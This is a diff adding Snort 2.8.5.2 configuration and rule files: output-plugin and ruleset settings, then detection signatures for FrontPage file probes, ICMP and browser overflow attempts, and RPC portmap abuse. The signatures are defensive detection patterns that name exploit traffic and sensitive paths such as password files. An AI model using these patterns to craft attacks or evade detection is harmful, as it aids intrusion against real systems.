+# This preprocessor will catch the X-Link2State vulnerability
+# (www.microsoft.com/technet/security/bulletin/MS05-021.mspx).
+#
+# Format:
+# preprocessor xlink2state: ports { <port> [<port> <...>] } [drop]
+#
+# "drop" will drop the attack if in Inline-mode.
+
+#  SID     Event description
+# -----   -------------------
+#   1      X-Link2State length greater than 1024
+
+preprocessor xlink2state: ports { 25 691 }
+
+####################################################################
+# Step #3: Configure output plugins
+#
+# Uncomment and configure the output plugins you decide to use.  General
+# configuration for output plugins is of the form:
+#
+# output <name_of_plugin>: <configuration_options>
+#
+# alert_syslog: log alerts to syslog
+# ----------------------------------
+# Use one or more syslog facilities as arguments.  Win32 can also optionally
+# specify a particular hostname/port.  Under Win32, the default hostname is
+# '127.0.0.1', and the default port is 514.
+#
+# [Unix flavours should use this format...]
+# output alert_syslog: LOG_AUTH LOG_ALERT
+#
+# [Win32 can use any of these formats...]
+# output alert_syslog: LOG_AUTH LOG_ALERT
+# output alert_syslog: host=hostname, LOG_AUTH LOG_ALERT
+# output alert_syslog: host=hostname:port, LOG_AUTH LOG_ALERT
+
+# log_tcpdump: log packets in binary tcpdump format
+# -------------------------------------------------
+# The only argument is the output file name.
+#
+# output log_tcpdump: tcpdump.log
+
+# database: log to a variety of databases
+# ---------------------------------------
+# See the README.database file for more information about configuring
+# and using this plugin.
+#
+# output database: log, mysql, user=root password=test dbname=db host=localhost
+# output database: alert, postgresql, user=snort dbname=snort
+# output database: log, odbc, user=snort dbname=snort
+# output database: log, mssql, dbname=snort user=snort password=test
+# output database: log, oracle, dbname=snort user=snort password=test
+
+# unified: Snort unified binary format alerting and logging
+# -------------------------------------------------------------
+# The unified output plugin provides two new formats for logging and generating
+# alerts from Snort, the "unified" format.  The unified format is a straight
+# binary format for logging data out of Snort that is designed to be fast and
+# efficient.  Used with barnyard (the new alert/log processor), most of the
+# overhead for logging and alerting to various slow storage mechanisms such as
+# databases or the network can now be avoided.  
+#
+# Check out the spo_unified.h file for the data formats.
+#
+# Two arguments are supported.
+#    filename - base filename to write to (current time_t is appended)
+#    limit    - maximum size of spool file in MB (default: 128)
+#
+# output alert_unified: filename snort.alert, limit 128
+# output log_unified: filename snort.log, limit 128
+
+
+# prelude: log to the Prelude Hybrid IDS system
+# ---------------------------------------------
+#
+# output prelude: profile=snort
+# profile = Name of the Prelude profile to use (default is snort).
+# config  = Optional name of a specific prelude configuration file to use for snort.
+#
+# Snort priority to IDMEF severity mappings:
+# high < medium < low < info
+#
+# info   = 4
+# low    = 3
+# medium = 2
+# high   = anything below medium
+#
+# These are the default mapped from classification.config.
+#
+# output alert_prelude
+
+
+# You can optionally define new rule types and associate one or more output
+# plugins specifically to that type.
+#
+# This example will create a type that will log to just tcpdump.
+# ruletype suspicious
+# {
+#   type log
+#   output log_tcpdump: suspicious.log
+# }
+#
+# EXAMPLE RULE FOR SUSPICIOUS RULETYPE:
+# suspicious tcp $HOME_NET any -> $HOME_NET 6667 (msg:"Internal IRC Server";)
+#
+# This example will create a rule type that will log to syslog and a mysql
+# database:
+# ruletype redalert
+# {
+#   type alert
+#   output alert_syslog: LOG_AUTH LOG_ALERT
+#   output database: log, mysql, user=snort dbname=snort host=localhost
+# }
+#
+# EXAMPLE RULE FOR REDALERT RULETYPE:
+# redalert tcp $HOME_NET any -> $EXTERNAL_NET 31337 \
+#   (msg:"Someone is being LEET"; flags:A+;)
+
+#
+# Include classification & priority settings
+# Note for Windows users:  You are advised to make this an absolute path,
+# such as:  c:\snort\etc\classification.config
+#
+
+include classification.config
+
+#
+# Include reference systems
+# Note for Windows users:  You are advised to make this an absolute path,
+# such as:  c:\snort\etc\reference.config
+#
+
+include reference.config
+
+####################################################################
+# Step #4: Configure snort with config statements
+#
+# See the snort manual for a full set of configuration references
+#
+# config flowbits_size: 64
+#
+# New global ignore_ports config option from Andy Mullican
+#
+# config ignore_ports: <tcp|udp> <list of ports separated by whitespace>
+# config ignore_ports: tcp 21 6667:6671 1356
+# config ignore_ports: udp 1:17 53
+
+
+####################################################################
+# Step #5: Customize your rule set
+#
+# Up to date snort rules are available at http://www.snort.org
+#
+# The snort web site has documentation about how to write your own custom snort
+# rules.
+
+#=========================================
+# Include all relevant rulesets here 
+# 
+# The following rulesets are disabled by default:
+#
+#   web-attacks, backdoor, shellcode, policy, porn, info, icmp-info, virus,
+#   chat, multimedia, and p2p
+#            
+# These rules are either site policy specific or require tuning in order to not
+# generate false positive alerts in most enviornments.
+# 
+# Please read the specific include file for more information and
+# README.alert_order for how rule ordering affects how alerts are triggered.
+#=========================================
+
+include $RULE_PATH/local.rules
+include $RULE_PATH/bad-traffic.rules
+include $RULE_PATH/exploit.rules
+include $RULE_PATH/scan.rules
+include $RULE_PATH/finger.rules
+include $RULE_PATH/ftp.rules
+include $RULE_PATH/telnet.rules
+include $RULE_PATH/rpc.rules
+include $RULE_PATH/rservices.rules
+include $RULE_PATH/dos.rules
+include $RULE_PATH/ddos.rules
+include $RULE_PATH/dns.rules
+include $RULE_PATH/tftp.rules
+
+include $RULE_PATH/web-cgi.rules
+include $RULE_PATH/web-coldfusion.rules
+include $RULE_PATH/web-iis.rules
+include $RULE_PATH/web-frontpage.rules
+include $RULE_PATH/web-misc.rules
+include $RULE_PATH/web-client.rules
+include $RULE_PATH/web-php.rules
+
+include $RULE_PATH/sql.rules
+include $RULE_PATH/x11.rules
+include $RULE_PATH/icmp.rules
+include $RULE_PATH/netbios.rules
+include $RULE_PATH/misc.rules
+include $RULE_PATH/attack-responses.rules
+include $RULE_PATH/oracle.rules
+include $RULE_PATH/mysql.rules
+include $RULE_PATH/snmp.rules
+
+include $RULE_PATH/smtp.rules
+include $RULE_PATH/imap.rules
+include $RULE_PATH/pop2.rules
+include $RULE_PATH/pop3.rules
+
+include $RULE_PATH/nntp.rules
+include $RULE_PATH/other-ids.rules
+# include $RULE_PATH/web-attacks.rules
+# include $RULE_PATH/backdoor.rules
+# include $RULE_PATH/shellcode.rules
+# include $RULE_PATH/policy.rules
+# include $RULE_PATH/porn.rules
+# include $RULE_PATH/info.rules
+# include $RULE_PATH/icmp-info.rules
+ include $RULE_PATH/virus.rules
+# include $RULE_PATH/chat.rules
+# include $RULE_PATH/multimedia.rules
+# include $RULE_PATH/p2p.rules
+include $RULE_PATH/experimental.rules
+
+# Include any thresholding or suppression commands. See threshold.conf in the
+# <snort src>/etc directory for details. Commands don't necessarily need to be
+# contained in this conf, but a separate conf makes it easier to maintain them. 
+# Note for Windows users:  You are advised to make this an absolute path,
+# such as:  c:\snort\etc\threshold.conf
+# Uncomment if needed.
+# include threshold.conf
--- snort-2.8.5.2.orig/rules/web-frontpage.rules
+++ snort-2.8.5.2/rules/web-frontpage.rules
@@ -0,0 +1,58 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: web-frontpage.rules,v 1.32.2.2.2.2 2005/06/29 15:35:05 mwatchinski Exp $
+#--------------------
+# WEB-FRONTPAGE RULES
+#--------------------
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE rad fp30reg.dll access"; flow:to_server,established; uricontent:"/fp30reg.dll"; nocase; reference:arachnids,555; reference:bugtraq,2906; reference:cve,2001-0341; reference:url,www.microsoft.com/technet/security/bulletin/MS01-035.mspx; classtype:web-application-activity; sid:1248; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE frontpage rad fp4areg.dll access"; flow:to_server,established; uricontent:"/fp4areg.dll"; nocase; reference:bugtraq,2906; reference:cve,2001-0341; classtype:web-application-activity; sid:1249; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE _vti_rpc access"; flow:to_server,established; uricontent:"/_vti_rpc"; nocase; reference:bugtraq,2144; reference:cve,2001-0096; reference:nessus,10585; classtype:web-application-activity; sid:937; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE posting"; flow:to_server,established; content:"POST"; uricontent:"/author.dll"; nocase; reference:bugtraq,2144; reference:cve,2001-0096; reference:nessus,10585; reference:url,www.microsoft.com/technet/security/bulletin/MS00-100.mspx; classtype:web-application-activity; sid:939; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE shtml.dll access"; flow:to_server,established; uricontent:"/_vti_bin/shtml.dll"; nocase; reference:arachnids,292; reference:bugtraq,1174; reference:bugtraq,1594; reference:bugtraq,1595; reference:cve,2000-0413; reference:cve,2000-0746; reference:nessus,11395; reference:url,www.microsoft.com/technet/security/bulletin/ms00-060.mspx; classtype:web-application-activity; sid:940; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE contents.htm access"; flow:to_server,established; uricontent:"/admcgi/contents.htm"; nocase; classtype:web-application-activity; sid:941; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE orders.htm access"; flow:to_server,established; uricontent:"/_private/orders.htm"; nocase; classtype:web-application-activity; sid:942; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE fpsrvadm.exe access"; flow:to_server,established; uricontent:"/fpsrvadm.exe"; nocase; classtype:web-application-activity; sid:943; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE fpremadm.exe access"; flow:to_server,established; uricontent:"/fpremadm.exe"; nocase; classtype:web-application-activity; sid:944; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE fpadmin.htm access"; flow:to_server,established; uricontent:"/admisapi/fpadmin.htm"; nocase; classtype:web-application-activity; sid:945; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE fpadmcgi.exe access"; flow:to_server,established; uricontent:"/scripts/Fpadmcgi.exe"; nocase; classtype:web-application-activity; sid:946; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE orders.txt access"; flow:to_server,established; uricontent:"/_private/orders.txt"; nocase; classtype:web-application-activity; sid:947; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE form_results access"; flow:to_server,established; uricontent:"/_private/form_results.txt"; nocase; reference:cve,1999-1052; classtype:web-application-activity; sid:948; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE registrations.htm access"; flow:to_server,established; uricontent:"/_private/registrations.htm"; nocase; classtype:web-application-activity; sid:949; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE cfgwiz.exe access"; flow:to_server,established; uricontent:"/cfgwiz.exe"; nocase; classtype:web-application-activity; sid:950; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE authors.pwd access"; flow:to_server,established; uricontent:"/authors.pwd"; nocase; reference:bugtraq,989; reference:cve,1999-0386; reference:nessus,10078; classtype:web-application-activity; sid:951; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE author.exe access"; flow:to_server,established; uricontent:"/_vti_bin/_vti_aut/author.exe"; nocase; classtype:web-application-activity; sid:952; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE administrators.pwd access"; flow:to_server,established; uricontent:"/administrators.pwd"; nocase; reference:bugtraq,1205; classtype:web-application-activity; sid:953; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE form_results.htm access"; flow:to_server,established; uricontent:"/_private/form_results.htm"; nocase; reference:cve,1999-1052; classtype:web-application-activity; sid:954; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE access.cnf access"; flow:to_server,established; uricontent:"/_vti_pvt/access.cnf"; nocase; reference:bugtraq,4078; reference:nessus,10575; classtype:web-application-activity; sid:955; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE register.txt access"; flow:to_server,established; uricontent:"/_private/register.txt"; nocase; classtype:web-application-activity; sid:956; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE registrations.txt access"; flow:to_server,established; uricontent:"/_private/registrations.txt"; nocase; classtype:web-application-activity; sid:957; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE service.cnf access"; flow:to_server,established; uricontent:"/_vti_pvt/service.cnf"; nocase; reference:bugtraq,4078; reference:nessus,10575; classtype:web-application-activity; sid:958; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE service.pwd"; flow:to_server,established; uricontent:"/service.pwd"; nocase; reference:bugtraq,1205; classtype:web-application-activity; sid:959; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE service.stp access"; flow:to_server,established; uricontent:"/_vti_pvt/service.stp"; nocase; classtype:web-application-activity; sid:960; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE services.cnf access"; flow:to_server,established; uricontent:"/_vti_pvt/services.cnf"; nocase; reference:bugtraq,4078; reference:nessus,10575; classtype:web-application-activity; sid:961; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE shtml.exe access"; flow:to_server,established; uricontent:"/_vti_bin/shtml.exe"; nocase; reference:bugtraq,1174; reference:bugtraq,1608; reference:bugtraq,5804; reference:cve,2000-0413; reference:cve,2000-0709; reference:cve,2002-0692; reference:nessus,10405; reference:nessus,11311; classtype:web-application-activity; sid:962; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE svcacl.cnf access"; flow:to_server,established; uricontent:"/_vti_pvt/svcacl.cnf"; nocase; reference:bugtraq,4078; reference:nessus,10575; classtype:web-application-activity; sid:963; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE users.pwd access"; flow:to_server,established; uricontent:"/users.pwd"; nocase; classtype:web-application-activity; sid:964; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE writeto.cnf access"; flow:to_server,established; uricontent:"/_vti_pvt/writeto.cnf"; nocase; reference:bugtraq,4078; reference:nessus,10575; classtype:web-application-activity; sid:965; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE .... request"; flow:to_server,established; uricontent:"..../"; nocase; reference:arachnids,248; reference:bugtraq,989; reference:cve,1999-0386; reference:cve,2000-0153; reference:nessus,10142; classtype:web-application-attack; sid:966; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE dvwssr.dll access"; flow:to_server,established; uricontent:"/dvwssr.dll"; nocase; reference:arachnids,271; reference:bugtraq,1108; reference:bugtraq,1109; reference:cve,2000-0260; reference:url,www.microsoft.com/technet/security/bulletin/ms00-025.mspx; classtype:web-application-activity; sid:967; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE register.htm access"; flow:to_server,established; uricontent:"/_private/register.htm"; nocase; classtype:web-application-activity; sid:968; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE /_vti_bin/ access"; flow:to_server,established; uricontent:"/_vti_bin/"; nocase; reference:nessus,11032; classtype:web-application-activity; sid:1288; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE _vti_inf.html access"; flow:to_server,established; uricontent:"/_vti_inf.html"; nocase; reference:nessus,11455; classtype:web-application-activity; sid:990; rev:9;)
+
--- snort-2.8.5.2.orig/rules/community-icmp.rules
+++ snort-2.8.5.2/rules/community-icmp.rules
@@ -0,0 +1,8 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-icmp.rules,v 1.4 2006/06/01 15:51:28 akirk Exp $
+
+#Rule submitted by rmkml
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"COMMUNITY ICMP Linux DoS sctp Exploit"; icode:2; itype:3; content:"|28 00 00 50 00 00 00 00 F9 57 1F 30 00 00 00 00 00 00 00 00 00 00 00 00|"; reference:nessus,19777; classtype:attempted-user; sid:100000164; rev:2;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"COMMUNITY ICMP undefined code"; icode:>18; classtype:misc-activity; sid:100000197; rev:1;)
--- snort-2.8.5.2.orig/rules/community-web-client.rules
+++ snort-2.8.5.2/rules/community-web-client.rules
@@ -0,0 +1,25 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-web-client.rules,v 1.21 2006/10/20 13:22:38 akirk Exp $
+
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT Internet Explorer URLMON.DLL Content-Type Overflow Attempt"; flow:to_client,established; content:"Content-Type|3A|"; nocase; pcre:"/Content-Type\x3A[^\r\n]{300,}/i"; classtype:attempted-admin; reference:bugtraq,7419; reference:cve,2003-0113; reference:url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx; sid:100000118; rev:2;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT Internet Explorer URLMON.DLL Content-Encoding Overflow Attempt"; flow:to_client,established; content:"Content-Encoding|3A|"; nocase; pcre:"/Content-Encoding\x3A[^\r\n]{300,}/i"; classtype:attempted-admin; reference:bugtraq,7419; reference:cve,2003-0113; reference:url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx; sid:100000119; rev:2;)
+#Rule submitted by Crusoe Researches Team
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT Winamp PlayList buffer overflow attempt"; flow:from_server,established; content:"playlist"; nocase; content:"\\\\"; reference:bugtraq,16410; reference:cve,2006-0476; reference:url,www.frsirt.com/english/advisories/2006/0361; classtype:attempted-admin; sid:100000228; rev:2;)
+
+#alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT IE mulitple event handler heap overflow attempt"; flow:established; content:"on"; nocase; pcre:"/<[^>]*?(on[^>]*?=[\d\w]+\s+){30,}/smi"; reference:bugtraq,17131; reference:cve,2006-1245; reference:url,www.microsoft.com/technet/security/Bulletin/MS06-013.mspx; classtype:attempted-user; sid:100000238; rev:3;)
+#alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT IE createTextRange overflow attempt"; flow:to_client,established; content:".createTextRange"; nocase; classtype:attempted-user; reference:bugtraq,17196; reference:cve,2006-1359; reference:url,www.microsoft.com/technet/security/Bulletin/MS06-013.mspx; sid:100000239; rev:2;)
+
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT RealMedia invalid chunk size heap overflow attempt"; flow:to_client,established; content:"Transfer-Encoding|3a|"; nocase; content:"chunked"; nocase; content:"Content-Type|3a|"; nocase; distance:0; content:"realvideo"; nocase; pcre:"/\r\n[0-9A-Fa-f]{9}/Ri"; reference:bugtraq,17202; reference:cve,2005-2922; reference:url,service.real.com/realplayer/security/03162006_player/en/; classtype:attempted-user; sid:100000284; rev:2;)
+
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT Mozilla Firefox DOMNodeRemoved attack attempt"; flow:to_client,established; content:"document|2e|addEventListener|28 22|DOMNodeRemoved|22|"; nocase; content:"document|2e|body|2e|appendChild|28|document|2e|getElementById|28|"; reference:bugtraq,18228; reference:cve,2006-2779; classtype:attempted-user; sid:100000447; rev:1;)
+
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT midi file download attempt"; flow:to_client,established; content:"Content-Type|3a|"; nocase; content:"audio|2f|midi"; nocase; distance:0; pcre:"/^Content-Type\s*\x3A\s*audio\x2Fmidi/smi"; flowbits:set,midi.download; flowbits:noalert; reference:bugtraq,18507; classtype:misc-activity; sid:100000692; rev:2;)
+
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT winamp midi file header overflow attempt"; flow:to_client,established; flowbits:isset,midi.download; content:"|4d 54 68 64 00 00 00 06 00 00 00 01 00 60 4d 54 72 6b 00 00 00|"; nocase; flowbits:unset,midi.download; reference:bugtraq,18507; classtype:attempted-user; sid:100000693; rev:2;)
+
+# Rule by <urleet@gmail.com>
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT tsuserex.dll COM Object Instantiation Vulnerability"; flow:from_server,established; content:"E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29"; nocase; reference:url,www.xsec.org/index.php?module=Releases&act=view&type=1&id=14; classtype:attempted-user; sid:100000864; rev:2;)
+
+#alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY WEB-CLIENT ImageMagick SGI ZSIZE Header Information Overflow Attempt"; content:"|01 da|"; byte_test: 2,>,4,9,relative; classtype: attempted-user; reference:bugtraq,19507; reference:cve,2006-4144; sid:100000881; rev:1;)
--- snort-2.8.5.2.orig/rules/rpc.rules
+++ snort-2.8.5.2/rules/rpc.rules
@@ -0,0 +1,234 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: rpc.rules,v 1.58.2.2.2.5 2005/06/29 15:35:04 mwatchinski Exp $
+#----------
+# RPC RULES
+#----------
+
+
+# portmap specific stuff.
+
+## bleck.  Not happy about this.  because of the non-rule ordering foo, I'm
+## checking the first byte in the version, which should always be 0.  When we
+## alert multiple times on a packet, I'll put these rules back to:
+##   content:"|0a 01 86 a0|"; offset:16; depth:4; content:"|00 00 00 05|";
+##    distance:4; within:4;
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap proxy integer overflow attempt TCP"; flow:to_server,established; content:"|00 01 86 A0 00|"; depth:5; offset:16; content:"|00 00 00 05|"; within:4; distance:3; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,2048,12,relative; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,7123; reference:cve,2003-0028; classtype:rpc-portmap-decode; sid:2093; rev:5;)
+# this rule makes me not happy as well.  see above.
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap proxy integer overflow attempt UDP"; content:"|00 01 86 A0 00|"; depth:5; offset:12; content:"|00 00 00 05|"; within:4; distance:3; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; byte_test:4,>,2048,12,relative; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,7123; reference:cve,2003-0028; classtype:rpc-portmap-decode; sid:2092; rev:5;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap proxy attempt TCP"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 05|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:rpc-portmap-decode; sid:1922; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap proxy attempt UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 05|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:rpc-portmap-decode; sid:1923; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap listing UDP 111"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 04|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,428; classtype:rpc-portmap-decode; sid:1280; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap listing TCP 111"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 04|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,428; classtype:rpc-portmap-decode; sid:598; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap SET attempt TCP 111"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 01|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; classtype:rpc-portmap-decode; sid:1949; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap SET attempt UDP 111"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 01|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; classtype:rpc-portmap-decode; sid:1950; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap UNSET attempt TCP 111"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 02|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:bugtraq,1892; classtype:rpc-portmap-decode; sid:2014; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap UNSET attempt UDP 111"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 02|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,1892; classtype:rpc-portmap-decode; sid:2015; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 32771 (msg:"RPC portmap listing TCP 32771"; flow:to_server,established; content:"|00 01 86 A0|"; depth:4; offset:16; content:"|00 00 00 04|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:8; reference:arachnids,429; classtype:rpc-portmap-decode; sid:599; rev:11;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 32771 (msg:"RPC portmap listing UDP 32771"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 04|"; within:4; distance:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:arachnids,429; classtype:rpc-portmap-decode; sid:1281; rev:7;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap cachefsd request UDP"; content:"|00 01 86 A0|"; depth:4; offset:12; content:"|00 00 00 03|"; within:4; distance:4; byte_jump:4,4,relative,align; byte_jump:4,4,relative,align; content:"|00 01 87 8B|"; within:4; content:"|00 00 00 00|"; depth:4; offset:4; reference:bugtraq,4674; reference:cve,2002-0033; reference:cve,2002-0084; classtype:rpc-portmap-decode; sid:1746; rev:11;)
